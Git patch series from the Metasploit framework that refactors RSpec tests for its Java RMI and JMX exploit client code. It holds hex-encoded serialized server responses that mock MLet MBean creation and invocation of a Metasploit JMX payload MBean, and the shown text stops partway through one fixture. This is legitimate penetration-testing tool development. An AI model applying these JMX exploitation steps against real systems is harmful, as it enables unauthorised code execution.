Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 13:50:05 -0600 Subject: [PATCH 057/103] Add set_msf_data --- .../remote/java/rmi/client/jmx/server_spec.rb | 45 +++++++------------ spec/support/shared/contexts/msf/string_io.rb | 19 +++++++- 2 files changed, 35 insertions(+), 29 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 42c08ef9b5..92870220ac 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -20,34 +20,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) - seek(0) - end - end - # # lets # @@ -57,6 +29,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index 6bc475919f..fc1d753595 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -1,6 +1,11 @@ require 'stringio' RSpec.shared_context 'Msf::StringIO' do + + # + # lets + # + let(:msf_io) do StringIO.new('', 'w+b') end @@ -10,6 +15,14 @@ RSpec.shared_context 'Msf::StringIO' do # before(:each) do + def msf_io.set_msf_data(data) + class << self + attr_accessor :msf_data + end + + self.msf_data = data + end + def msf_io.get_once read end @@ -20,7 +33,11 @@ RSpec.shared_context 'Msf::StringIO' do def msf_io.put(_data) seek(0) - write(_data) + if instance_variables.include?(:msf_data) + write(msf_data) + else + write(msf_data) + end seek(0) end end From 046a73b3b3a00df9a0553db0114dcc6cf9a9b3a5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 13:54:31 -0600 Subject: [PATCH 058/103] Use set_msf_data on connection_spec --- .../java/rmi/client/jmx/connection_spec.rb | 143 +++++++----------- 1 file changed, 57 insertions(+), 86 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 4072a8dfc2..203ef93d90 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -30,36 +30,25 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -69,32 +58,25 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do context "when the object is created successfully" do include_context "Msf::StringIO" - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -116,39 +98,28 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do } end - # - # Callbacks - # - - before(:each) do - def msf_io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - ) - seek(0) - end - end - it "returns true" do + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + ) expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end From bc80bf7fdbaf25a8d6677c25b57eaac4c39b1c47 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:17:55 -0600 Subject: [PATCH 059/103] use Msf::StringIO on client_spec --- .../exploit/remote/java/rmi/client_spec.rb | 72 ++++--------------- spec/support/shared/contexts/msf/string_io.rb | 25 ++++--- 2 files changed, 30 insertions(+), 67 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index 92de508daf..bdafc59d51 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -18,37 +18,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do end } - let(:io) { - StringIO.new('', 'w+b').tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - - def string_io.put(data) - write data - end - end - } + include_context "Msf::StringIO" describe "#send_header" do it "returns the number of bytes sent" do - expect(instance.send_header(sock: io)).to eq(13) + expect(instance.send_header(sock: msf_io)).to eq(13) end end describe "#send_call" do it "returns the number of bytes sent" do - expect(instance.send_call(sock: io)).to eq(41) + expect(instance.send_call(sock: msf_io)).to eq(41) end end describe "#send_dgc_ack" do it "returns the number of bytes sent" do - expect(instance.send_dgc_ack(sock: io)).to eq(15) + expect(instance.send_dgc_ack(sock: msf_io)).to eq(15) end end @@ -58,40 +44,20 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { - StringIO.new(protocol_ack).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do - expect(instance.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + msf_io.pos = 0 + msf_io.string = protocol_ack + expect(instance.recv_protocol_ack(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) end end context "when end point returns protocol not supported" do let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { - StringIO.new(protocol_not_supported).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "return nil" do - expect(instance.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + msf_io.pos = 0 + msf_io.string = protocol_not_supported + expect(instance.recv_protocol_ack(sock: msf_io)).to be_nil end end end @@ -119,26 +85,16 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { - StringIO.new(return_data).tap do |string_io| - def string_io.get_once - read - end - - def string_io.has_read_data?(_timeout) - !eof? - end - end - } - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(instance.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) + msf_io.pos = 0 + msf_io.string = return_data + expect(instance.recv_return(sock: msf_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end context "when end point doesn't return a value to the call" do it "returns nil" do - expect(instance.recv_return(sock: io)).to be_nil + expect(instance.recv_return(sock: msf_io)).to be_nil end end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index fc1d753595..5f1699d76d 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -7,7 +7,14 @@ RSpec.shared_context 'Msf::StringIO' do # let(:msf_io) do - StringIO.new('', 'w+b') + s = StringIO.new('', 'w+b') + class << s + attr_accessor :msf_data + end + + s.msf_data = '' + + s end # @@ -16,10 +23,6 @@ RSpec.shared_context 'Msf::StringIO' do before(:each) do def msf_io.set_msf_data(data) - class << self - attr_accessor :msf_data - end - self.msf_data = data end @@ -28,17 +31,21 @@ RSpec.shared_context 'Msf::StringIO' do end def msf_io.has_read_data?(_timeout) - false + !eof? end def msf_io.put(_data) seek(0) - if instance_variables.include?(:msf_data) - write(msf_data) + + if msf_data.nil? || msf_data.empty? + length = write(_data) else - write(msf_data) + length = write(msf_data) end + seek(0) + + length end end end From b61a7f43efe262963b49ee3a796dbf5a8cea4966 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:25:35 -0600 Subject: [PATCH 060/103] Use Msf::StringIO context on registry_spec --- .../remote/java/rmi/client/registry_spec.rb | 318 +++++++----------- 1 file changed, 127 insertions(+), 191 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index ef25deb248..af2c84b9ad 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do let(:name) do @@ -22,65 +21,32 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do mod end - let(:io) { StringIO.new('', 'w+b') } + include_context "Msf::StringIO" describe "#send_registry_list" do context "when there aren't names registered" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end it "returns empty array" do - expect(mod.send_registry_list(sock: io)).to eq([]) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + ) + expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do - # - # Callbacks - # - - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=0| - false - } - end - it "returns the list of registered names" do - expect(mod.send_registry_list(sock: io)).to eq([name]) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + ) + expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -88,153 +54,123 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - 